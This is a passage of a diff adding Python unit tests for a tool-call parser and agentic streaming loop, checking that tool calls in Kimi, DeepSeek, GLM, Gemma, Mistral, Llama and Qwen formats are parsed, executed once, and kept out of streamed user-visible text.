+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+
+    def test_kimi_multi_call_with_index(self):
+        # Multiple consecutive calls inside a single section, each
+        # with its own monotonically incrementing ``:IDX``.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 2
+        assert result[0]["function"]["name"] == "read_file"
+        assert result[0]["id"].endswith(":0")
+        assert result[1]["function"]["name"] == "web_search"
+        assert result[1]["id"].endswith(":1")
+
+    def test_kimi_dotted_name_keeps_full_dotted_name(self):
+        # A dotted Kimi id keeps its FULL name after stripping only the ``functions.`` prefix and
+        # ``:idx`` suffix -- matching current vLLM ...
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>a.b.c:2"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "a.b.c"
+
+    def test_kimi_dotted_mcp_name_with_functions_prefix(self):
+        # ``functions.mcp.server-list:0`` must resolve to ``mcp.server-list``
+        # (only the ``functions.`` prefix and ``:idx`` are removed).
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.mcp.server-list:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp.server-list"
+
+    def test_kimi_multi_call_recovers_when_first_end_marker_missing(self):
+        # First call omits its <|tool_call_end|>; the second must still parse.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.read_file:0"
+            "<|tool_call_argument_begin|>"
+            '{"path":"a"}'
+            "<|tool_call_begin|>functions.web_search:1"
+            "<|tool_call_argument_begin|>"
+            '{"query":"x"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert [c["function"]["name"] for c in result] == ["read_file", "web_search"]
+
+    def test_kimi_handles_unclosed_section(self):
+        # End marker missing -- the parser must still extract the call.
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.foo:0"
+            "<|tool_call_argument_begin|>"
+            '{"a":1}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "foo"
+
+    def test_kimi_strip_markup(self):
+        text = (
+            "before "
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.x:0"
+            "<|tool_call_argument_begin|>"
+            "{}"
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+            " after"
+        )
+        assert strip_tool_markup(text, final = True) == "before  after"
+
+    def test_kimi_signal_wakes_streaming(self):
+        text = "<|tool_calls_section_begin|>..."
+        assert has_tool_signal(text)
+
+    def test_kimi_call_without_section_wrapper(self):
+        # llama.cpp makes the ``<|tool_calls_section_begin|>`` wrapper optional -- Kimi K2 can emit
+        # a bare ``<|tool_call_begin|>`` call.
+        import json as _json
+
+        text = (
+            "<|tool_call_begin|>functions.execute_command:0"
+            "<|tool_call_argument_begin|>"
+            '{"cmd":"ls"}'
+            "<|tool_call_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "execute_command"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"cmd": "ls"}
+
+    def test_kimi_malformed_json_recovers_later_calls(self):
+        # A call with malformed / truncated JSON must not drop the valid calls that follow it in
+        # the same section (the bad call is skipped, the good one is recovered).
+        import json as _json
+
+        text = (
+            "<|tool_calls_section_begin|>"
+            "<|tool_call_begin|>functions.a:0"
+            '<|tool_call_argument_begin|>{"city":"Beijing"'  # missing closing brace
+            "<|tool_call_end|>"
+            "<|tool_call_begin|>functions.b:1"
+            '<|tool_call_argument_begin|>{"city":"Shanghai"}'
+            "<|tool_call_end|>"
+            "<|tool_calls_section_end|>"
+        )
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "b"
+        assert _json.loads(result[0]["function"]["arguments"]) == {"city": "Shanghai"}
+
+
+class TestParserCrossFormatRouting:
+    """Ensure the per-format dispatch order doesn't misroute any
+    family. Real emissions for each new family + every old family
+    must still parse correctly when intermixed."""
+
+    def test_dispatch_routes_each_family_correctly(self):
+        cases = [
+            (
+                "Qwen",
+                '<tool_call>{"name":"a","arguments":{"x":1}}</tool_call>',
+                "a",
+            ),
+            (
+                "DeepSeek V3.1",
+                "<｜tool▁calls▁begin｜>"
+                "<｜tool▁call▁begin｜>get_time"
+                "<｜tool▁sep｜>"
+                '{"city":"Tokyo"}'
+                "<｜tool▁call▁end｜>"
+                "<｜tool▁calls▁end｜>",
+                "get_time",
+            ),
+            (
+                "GLM",
+                "<tool_call>web_search\n"
+                "<arg_key>q</arg_key>\n<arg_value>x</arg_value>\n"
+                "</tool_call>",
+                "web_search",
+            ),
+            (
+                "Kimi",
+                "<|tool_calls_section_begin|>"
+                "<|tool_call_begin|>functions.add:0"
+                "<|tool_call_argument_begin|>"
+                '{"a":1}'
+                "<|tool_call_end|>"
+                "<|tool_calls_section_end|>",
+                "add",
+            ),
+        ]
+        for label, text, expected_name in cases:
+            result = parse_tool_calls_from_text(text)
+            assert len(result) == 1, f"{label}: parser missed the call"
+            assert result[0]["function"]["name"] == expected_name, (
+                f"{label}: got {result[0]['function']['name']!r}, " f"expected {expected_name!r}"
+            )
+
+    def test_all_new_markers_in_tool_xml_signals(self):
+        # The safetensors / MLX streaming buffer must wake on every supported emission marker --
+        # otherwise the BUFFERING state leaks tool content to the user before parse.
+        from core.inference.tool_call_parser import TOOL_XML_SIGNALS
+        for marker in (
+            "<｜tool▁calls▁begin｜>",
+            "<｜tool▁call▁begin｜>",
+            "<|tool_calls_section_begin|>",
+            "<|tool_call_begin|>",
+        ):
+            assert marker in TOOL_XML_SIGNALS, f"streaming loop would not wake on {marker!r}"
+
+
 def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     captured_tool_names: list[list[str]] = []
     exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
@@ -297,6 +1816,449 @@ def test_active_tools_are_passed_to_single_turn_after_render_html_success():
     assert any(event.get("type") == "content" and event.get("text") == "Done." for event in events)
 
 
+def test_spent_one_shot_rehearsal_repeat_is_detected_not_blank_continuation():
+    # A spent one-shot (render_html) stays in the ORIGINAL tool list; detection is gated on
+    # that list (matching the strip gate) so a re-emitted repeat is drained and routed to the
+    # repeat no-op instead of stripped into a blank continuation.
+    exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
+    turns = iter(
+        [
+            [
+                '<tool_call>{"name":"render_html","arguments":{"code":"<html>one</html>"}}</tool_call>'
+            ],
+            ['render_html[ARGS]{"code":"<html>two</html>"}'],  # spent one-shot rehearsal
+            ["The chart is above."],
+        ]
+    )
+
+    def gen(_messages, *, active_tools = None):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = gen,
+            messages = [{"role": "user", "content": "make a chart"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "web_search"}},
+            ],
+            execute_tool = exec_fn,
+            max_tool_iterations = 5,
+        )
+    )
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    # render_html ran exactly once; the repeat was a no-op, not a second execution.
+    assert exec_fn.calls == [("render_html", {"code": "<html>one</html>"})], exec_fn.calls
+    # The loop continued past the repeat to the real answer (not a blank continuation).
+    assert any("The chart is above." in t for t in contents), contents
+    # The raw rehearsal markup never leaked as visible content.
+    assert not any("render_html[ARGS]" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_is_not_streamed_before_args():
+    # A rehearsal whose name and [ARGS] arrive together must drain, not stream the bare name.
+    loop, exec_fn = _make_loop(
+        turns = [['web_search[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_call_name_split_before_args_is_not_streamed():
+    # Finding 5: name and [ARGS] in separate chunks -- the bare name is held until [ARGS] arrives.
+    loop, exec_fn = _make_loop(
+        turns = [["web_search", '[ARGS]{"query":"cats"}'], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_plain_word_matching_no_tool_still_streams():
+    # The prefix guard must not swallow prose: a non-tool bare word streams.
+    loop, _exec = _make_loop(
+        turns = [["weather", " is nice today."]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "weather is nice today." in contents, contents
+
+
+def test_rehearsal_name_after_prose_in_streaming_is_not_streamed():
+    # After prose has streamed (STREAMING state), a split rehearsal name must still be held.
+    loop, exec_fn = _make_loop(
+        turns = [
+            # _make_loop accumulates these deltas into cumulative snapshots.
+            ["Let me think. ", "I will search ", "web_search", '[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_rehearsal_name_after_prose_same_chunk_in_streaming_is_not_streamed():
+    # Prose then ``web_search[ARGS]{...}`` in one chunk: the boundary is pulled back over the name.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ["Sure. ", 'now web_search[ARGS]{"query":"cats"}'],
+            ["Found."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_initial_buffer_flush_holds_split_rehearsal_name():
+    # First flush out of BUFFERING applies the same trailing-name hold as STREAMING.
+    loop, exec_fn = _make_loop(
+        turns = [["I will use python", '[ARGS]{"code":"print(1)"}'], ["done"]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("python", {"code": "print(1)"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("python" in t for t in contents), contents
+
+
+def test_think_rehearsal_streams_monotonically_and_keeps_reasoning():
+    # A think rehearsal streams the same text the final strip keeps: cumulative content is
+    # monotonically non-decreasing and ends with the markup intact.
+    loop, exec_fn = _make_loop(
+        turns = [["<think>plan ", 'search[ARGS]{"q":"x"}', "</think> visible"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert exec_fn.calls == [], exec_fn.calls
+    assert all(len(b) >= len(a) for a, b in zip(contents, contents[1:])), contents
+    final = contents[-1] if contents else ""
+    assert 'search[ARGS]{"q":"x"}' in final, contents
+    assert "visible" in final, contents
+
+
+def test_plain_answer_ending_with_tool_name_word_is_preserved():
+    # End-of-stream flush: a plain answer ending on a tool-name word is prose, not dropped.
+    loop, exec_fn = _make_loop(
+        turns = [["I think ", "you should ", "web_search"]],
+        max_tool_iterations = 1,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any(t.rstrip().endswith("web_search") for t in contents), contents
+
+
+def test_long_tool_name_split_rehearsal_is_not_capped_and_executes():
+    # Finding 10/11: an MCP name longer than the buffer cap, split before [ARGS], is still
+    # held (self-bounding prefix); no leak and the call executes.
+    from core.inference.safetensors_agentic import _MAX_BUFFER_CHARS
+
+    name = "mcp__github__create_pull_request"
+    assert len(name) >= _MAX_BUFFER_CHARS, len(name)
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([[name, name + '[ARGS]{"x":1}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [{"type": "function", "function": {"name": name}}],
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [(name, {"x": 1})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any(name in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_rehearsal_name_is_not_streamed():
+    # Finding 6: unrestricted mode treats any bare identifier as a possible rehearsal NAME.
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search" in t for t in contents), contents
+
+
+def test_unrestricted_mode_split_after_bracket_is_not_streamed():
+    # Unrestricted mode: a chunk split right after ``NAME[`` is still held (parity with the
+    # restricted-mode startswith hold).
+    exec_fn = FakeExecuteTool(["RESULT"])
+    _turns = iter([["web_search[", 'web_search[ARGS]{"q":"x"}'], ["done"]])
+
+    def st(_messages, active_tools = None):
+        yield from next(_turns)
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "go"}],
+            tools = [],  # unrestricted
+            execute_tool = exec_fn,
+            max_tool_iterations = 2,
+        )
+    )
+    assert exec_fn.calls == [("web_search", {"q": "x"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("web_search[" in t for t in contents), contents
+
+
+def test_unrestricted_mode_plain_prose_still_streams():
+    # The unrestricted hold releases a held identifier once the rest of the sentence follows.
+    def st(_messages, active_tools = None):
+        for snap in ("Hello", "Hello there friend."):
+            yield snap
+
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = st,
+            messages = [{"role": "user", "content": "hi"}],
+            tools = [],
+            execute_tool = FakeExecuteTool([]),
+            max_tool_iterations = 1,
+        )
+    )
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Hello there friend." in contents, contents
+
+
+def test_safety_net_honors_disabled_auto_heal_for_late_incomplete_call():
+    # A late call caught by the safety net: an unclosed ``<tool_call>`` heals only with Auto-Heal on;
+    # off, the safety net must not pass ``allow_incomplete=True`` and execute a truncated call.
+    prose = "Sure, let me look that up for you right now. "
+    incomplete = '<tool_call>{"name":"web_search","arguments":{"query":"weather in Sydney"}}'
+
+    loop_off, exec_off = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = False,
+        max_tool_iterations = 3,
+    )
+    events_off = _collect_events(loop_off)
+    assert exec_off.calls == [], "disabled Auto-Heal must not execute a healed incomplete call"
+    assert not [e for e in events_off if e.get("type") == "tool_start"]
+
+    loop_on, exec_on = _make_loop(
+        turns = [[prose, incomplete], ["Final answer."]],
+        exec_results = ["RESULT"],
+        auto_heal_tool_calls = True,
+        max_tool_iterations = 3,
+    )
+    _collect_events(loop_on)
+    assert exec_on.calls == [("web_search", {"query": "weather in Sydney"})], exec_on.calls
+
+
+def test_bare_json_tool_call_is_not_streamed_as_content():
+    # Llama-3.2 ``custom_tools`` bare form ``{"name":..,"parameters":..}`` carries no
+    # XML signal. The loop must BUFFER it until the object closes and execute it via
+    # the safety net, never leaking the raw JSON to streaming clients as content.
+    bare = '{"name":"web_search","parameters":{"query":"cats"}}'
+    loop, exec_fn = _make_loop(
+        turns = [[bare], ["Here are the results."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+    assert any("Here are the results." in t for t in contents)
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call():
+    # Markerless JSON whose "name" is not an enabled tool (e.g. a person record
+    # ``{"name":"Alice",...}``) must be shown as the answer, not misread as a call
+    # to a disabled tool and dropped. _make_loop enables web_search/python/terminal.
+    answer = '{"name":"Alice","parameters":{"age":30}}'
+    loop, exec_fn = _make_loop(turns = [[answer]], max_tool_iterations = 1)
+    events = _collect_events(loop)
+    assert exec_fn.calls == [], exec_fn.calls
+    contents = "".join(e["text"] for e in events if e["type"] == "content")
+    assert "Alice" in contents, contents
+
+
+def test_bare_json_tool_call_split_across_chunks_is_not_streamed():
+    # Same as above but the bare object arrives split mid-key, so the buffer is
+    # held open across chunks before it balances.
+    loop, exec_fn = _make_loop(
+        turns = [
+            ['{"name":"web_', 'search","parameters":{"query":"cats"}}'],
+            ["Done."],
+        ],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any('"name"' in t or "web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_is_not_streamed_as_content():
+    # Gemma 4 wrapper-less ``call:NAME{...}`` has no XML signal; the loop must hold
+    # it (BUFFERING) and execute it, never streaming the raw call text.
+    loop, exec_fn = _make_loop(
+        turns = [["call:web_search{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:web_search" in t for t in contents), contents
+
+
+def test_gemma_wrapperless_call_with_whitespace_is_suppressed_when_streamed():
+    # Gemma may emit ``call : NAME{...}`` with whitespace around the colon, split across stream
+    # chunks.
+    loop, exec_fn = _make_loop(
+        turns = [["call", " : ", "web_search", "{query:cats}"], ["Found."]],
+        exec_results = ["RESULT"],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [("web_search", {"query": "cats"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call" in t for t in contents), contents
+
+
+def test_long_gemma_tool_name_is_not_streamed_as_content():
+    # A tool name longer than the small buffer cap (OpenAI 64 chars, MCP longer)
+    # must still be held: the ``call:NAME`` prefix keeps buffering until ``{``
+    # instead of leaking ``call:longname`` as visible text.
+    long_name = "mcp__github__list_repository_issues"  # 35 chars
+    turns = iter([list('call:%s{repo:"octo/hello"}' % long_name), ["Done."]])
+
+    def _gen(_messages):
+        try:
+            chunks = next(turns)
+        except StopIteration:
+            return
+        acc = ""
+        for c in chunks:
+            acc += c
+            yield acc
+
+    exec_fn = FakeExecuteTool(["RESULT"])
+    loop = run_safetensors_tool_loop(
+        single_turn = _gen,
+        messages = [{"role": "user", "content": "hi"}],
+        tools = [{"type": "function", "function": {"name": long_name}}],
+        execute_tool = exec_fn,
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == [(long_name, {"repo": "octo/hello"})], exec_fn.calls
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert not any("call:" in t for t in contents), contents
+
+
+def test_leading_json_answer_is_not_dropped():
+    # A leading ``{...}`` that is NOT a tool call must still surface as content:
+    # the bare-JSON hold can only ever delay it to end-of-object, never drop it.
+    obj = '{"answer": 42, "note": "done"}'
+    loop, exec_fn = _make_loop(
+        turns = [[obj]],
+        exec_results = [],
+        max_tool_iterations = 3,
+    )
+    events = _collect_events(loop)
+    assert exec_fn.calls == []
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any('"answer"' in t for t in contents), contents
+
+
+def _reprompt_loop(*, auto_heal_tool_calls):
+    """Drive one restricted tool with an intent-only first turn to exercise the nudge; returns conversations and events."""
+    captured: list[list] = []
+
+    def fake_single_turn(messages, active_tools = None):
+        captured.append(list(messages))
+        if len(captured) == 1:
+            yield "I'll search for that now."  # forward-looking intent, no call
+        else:
+            yield "Final answer."
+
+    exec_fn = FakeExecuteTool([])
+    events = _collect_events(
+        run_safetensors_tool_loop(
+            single_turn = fake_single_turn,
+            messages = [{"role": "user", "content": "find X"}],
+            tools = [{"type": "function", "function": {"name": "search_knowledge_base"}}],
+            execute_tool = exec_fn,
+            auto_heal_tool_calls = auto_heal_tool_calls,
+            # Studio always nudges (always-on for the Studio inference paths); the
+            # API opts in per request. Model the Studio caller here.
+            nudge_tool_calls = True,
+            max_tool_iterations = 3,
+        )
+    )
+    return captured, events
+
+
+def test_reprompt_names_only_active_tools_not_hardcoded():
+    # The plan-without-action nudge must name the tools actually enabled, never the
+    # old hardcoded ``web_search``/``python`` (which a restricted set would reject).
+    captured, _events = _reprompt_loop(auto_heal_tool_calls = True)
+    assert len(captured) >= 2, "intent prose should have triggered a re-prompt turn"
+    reprompt = captured[1][-1]
+    assert reprompt["role"] == "user"
+    assert "search_knowledge_base" in reprompt["content"]
+    assert "web_search" not in reprompt["content"]
+    assert "python" not in reprompt["content"]
+
+
+def test_reprompt_suppressed_when_auto_heal_disabled():
+    # With Auto-Heal off the safetensors nudge must stay silent for backend parity
+    # with the GGUF loop, so only the single initial generation runs.
+    captured, events = _reprompt_loop(auto_heal_tool_calls = False)
+    assert len(captured) == 1, captured
+    contents = [e["text"] for e in events if e["type"] == "content"]
+    assert any("search for that" in t for t in contents)
+
+
 class TestLoopBasic:
     def test_plain_answer(self):
         # No tool XML; loop should yield content then status="".
@@ -356,6 +2318,154 @@ class TestLoopBasic:
         contents = [e for e in events if e["type"] == "content"]
         assert "Result: 1" in contents[-1]["text"]
 
+    def test_llama3_python_tag_form(self):
+        # The agentic loop must recognise Llama-3's <|python_tag|>
+        # marker, drain the rest of the turn, and execute the call.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|python_tag|>web_search.call(",
+                    'query="weather in Tokyo"',
+                    ")",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in Tokyo"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_llama3_bare_json_form_fires_tool(self):
+        # Llama-3.1 / 3.2 emit a bare-JSON tool call
+        # ``{"name":..,"parameters":..}`` with NO XML signal. The loop's
+        # safety-net parse must still fire the tool instead of treating the
+        # turn as "planned without calling tools" and re-prompting the model
+        # into giving up. Regression for the has_tool_signal gate that
+        # dropped these; GGUF's llama-server parses them natively.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['{"name": "web_search", "parameters": {"query": "weather in SF"}}'],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 18C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather in SF"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert "sunny" in contents[-1]["text"].lower()
+
+    def test_mistral_pre_v11_form(self):
+        # Pre-v11 Mistral emission: ``[TOOL_CALLS] [{...}]``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    '[TOOL_CALLS] [{"name":"web_search",',
+                    '"arguments":{"query":"hi"},"id":"abc"}]',
+                ],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+        # Mistral-provided ids must propagate to tool_start events.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "abc"
+
+    def test_mistral_v11_form(self):
+        # v11+ Mistral emission: bare ``name{json}`` after the trigger.
+        loop, exec_fn = _make_loop(
+            turns = [
+                ['[TOOL_CALLS]web_search{"query":"hi"}'],
+                ["done"],
+            ],
+            exec_results = ["ok"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "hi"})]
+
+    def test_gemma4_form(self):
+        # Gemma 4 emission: ``<|tool_call>call:NAME{...}<tool_call|>``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_call>call:web_search{",
+                    'query:<|"|>weather<|"|>',
+                    "}<tool_call|>",
+                ],
+                ["sunny"],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "weather"})]
+
+    def test_deepseek_v3_1_form(self):
+        # DeepSeek V3.1 emission inside the agentic loop -- the buffer state machine must wake on
+        # ``<｜tool▁calls▁begin｜>`` and the parser must extract the V3.1 bare-JSON body.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<｜tool▁calls▁begin｜>",
+                    "<｜tool▁call▁begin｜>web_search",
+                    "<｜tool▁sep｜>",
+                    '{"query":"Tokyo weather"}',
+                    "<｜tool▁call▁end｜>",
+                    "<｜tool▁calls▁end｜>",
+                ],
+                ["The weather is sunny."],
+            ],
+            exec_results = ["Sunny, 22C"],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo weather"})]
+        contents = [e for e in events if e["type"] == "content"]
+        assert contents and "sunny" in contents[-1]["text"].lower()
+
+    def test_glm_form(self):
+        # GLM 4.x emission: ``<tool_call>NAME\n<arg_key>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<tool_call>web_search\n",
+                    "<arg_key>query</arg_key>\n",
+                    "<arg_value>Tokyo</arg_value>\n",
+                    "</tool_call>",
+                ],
+                ["found"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+
+    def test_kimi_form(self):
+        # Kimi K2 emission ``<|tool_calls_section_begin|>...``.
+        loop, exec_fn = _make_loop(
+            turns = [
+                [
+                    "<|tool_calls_section_begin|>",
+                    "<|tool_call_begin|>functions.web_search:0",
+                    "<|tool_call_argument_begin|>",
+                    '{"query":"Tokyo"}',
+                    "<|tool_call_end|>",
+                    "<|tool_calls_section_end|>",
+                ],
+                ["done"],
+            ],
+            exec_results = ["..."],
+        )
+        events = _collect_events(loop)
+        # The bare name must reach execute_tool, even though the model
+        # emitted ``functions.web_search:0`` as the formatted id.
+        assert exec_fn.calls == [("web_search", {"query": "Tokyo"})]
+        # tool_start carries the original full id so the conversation
+        # roundtrip can replay it verbatim.
+        tool_start = next(e for e in events if e["type"] == "tool_start")
+        assert tool_start["tool_call_id"] == "functions.web_search:0"
+
     def test_render_html_emits_provisional_tool_start(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -544,6 +2654,42 @@ class TestLoopBasic:
         assert tool_starts[0]["tool_name"] == "python"
         assert exec_fn.calls == [("python", {"code": "print('<function=render_html>')"})]
 
+    def test_render_html_rehearsed_in_think_block_emits_no_provisional_start(self):
+        # BUG B: a render_html rehearsed inside think before a real python call must not emit a
+        # provisional render_html card; only the outside-think call fires.
+        exec_fn = FakeExecuteTool(["ok"])
+        turn_iter = iter(
+            [
+                [
+                    '<think>draft render_html[ARGS]{"code":"x"}</think>',
+                    'python[ARGS]{"code":"print(1)"}',
+                ],
+                ["Done."],
+            ]
+        )
+
+        def _gen(_messages):
+            chunks = next(turn_iter)
+            acc = ""
+            for chunk in chunks:
+                acc += chunk
+                yield acc
+
+        loop = run_safetensors_tool_loop(
+            single_turn = _gen,
+            messages = [{"role": "user", "content": "run code"}],
+            tools = [
+                {"type": "function", "function": {"name": "render_html"}},
+                {"type": "function", "function": {"name": "python"}},
+            ],
+            execute_tool = exec_fn,
+        )
+        events = _collect_events(loop)
+        tool_starts = [e for e in events if e["type"] == "tool_start"]
+
+        assert [e["tool_name"] for e in tool_starts] == ["python"], tool_starts
+        assert exec_fn.calls == [("python", {"code": "print(1)"})]
+
     def test_render_html_success_blocks_second_canvas_call(self):
         exec_fn = FakeExecuteTool(["Rendered HTML canvas."])
         turn_iter = iter(
@@ -715,6 +2861,59 @@ class TestLoopBehaviour:
         assert len(duplicate_nudges) == 1
         assert captured_tool_names[2] == ["web_search", "python"]
 
+    def test_duplicate_noop_does_not_consume_budget_at_small_cap(self):
+        # A duplicate/disabled no-op turn is a correction turn and must NOT spend the
+        # caller's tool budget, so with max_tool_iterations=2 the model can still make a
+        # DISTINCT valid call after repeating one. Only turns that actually execute a
+        # tool count -- matching the GGUF loop. (The budget used to be charged per
